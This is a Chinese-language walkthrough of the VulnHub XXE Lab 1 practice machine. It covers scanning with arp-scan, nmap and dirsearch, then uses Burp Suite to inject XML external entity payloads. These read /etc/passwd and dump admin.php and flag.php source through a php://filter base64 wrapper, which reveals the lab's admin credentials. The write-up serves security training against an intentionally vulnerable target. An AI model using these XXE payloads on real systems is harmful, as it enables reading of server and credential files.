靶机地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
下载好后解压
直接拖拽.ovf格式的文件到虚拟机里
打开kali扫描主机,靶机开着或者后台运行就行
arp-scan -I eth0 -l
扫描出来目标靶机ip地址192.168.142.145
nmap扫描端口
nmap -A -sS -T4 -P- --min-rate=10000 192.168.142.145
有用的信息为80/tcp open http Apache httpd 2.4.27 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/xxe/* /admin.php
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
5355/tcp open llmnr?
admin.php是开放的网页 80 5355为开放的端口,5355没有有用的信息
扫描目录
dirsearch -u http://192.168.142.145 -x 401,403,404,405
扫描结果有一个200的网页,robots.txt是反爬网页
访问http://192.168.142.145/robots.txt
发现两个网页/xxe/* /admin.php 通过浏览器访问应该是前后台关系
/admin.php
/xee/*
查看一下/xee/的源代码
声明了XHTML文档,容易构造xss和xxe攻击
刷新/xee*/网页用burpsuite开启抓包
发送到repeater
<!DOCTYPE Ninggo [ <!ENTITY ning SYSTEM "file:///etc/passwd"> ]>
这里我声明定义了一个外部实体(ning),它可以被用来读取服务器上的任意文件。这里尝试读取 /etc/passwd 文件成功,证明此处存在XXXE漏洞
<!DOCTYPE ninggo [
<!ELEMENT ninggo ANY >
<!ENTITY ning SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
复制右边,进入kali,新建一个php文件复制进去
进行base64解码替换为另一个文件
cat decod_admin.php
cat查看全部源代码,用户administhebest 密码admin@123 密码md5解码一下
md5解码密码为admin@123登录上去的页面
点击flag直接跳转
再次解码
再次在burp页面 ,/etc后面改为flag.php
复制这段代码新建一个文件,放在phpstudy_pro/www/根目录下,后缀名要是.php 这段代码头要加<?php 结尾要加?>
直接本机/flag.php运行
如果出不来flag,那就更换php的版本,换一个低版本
成功了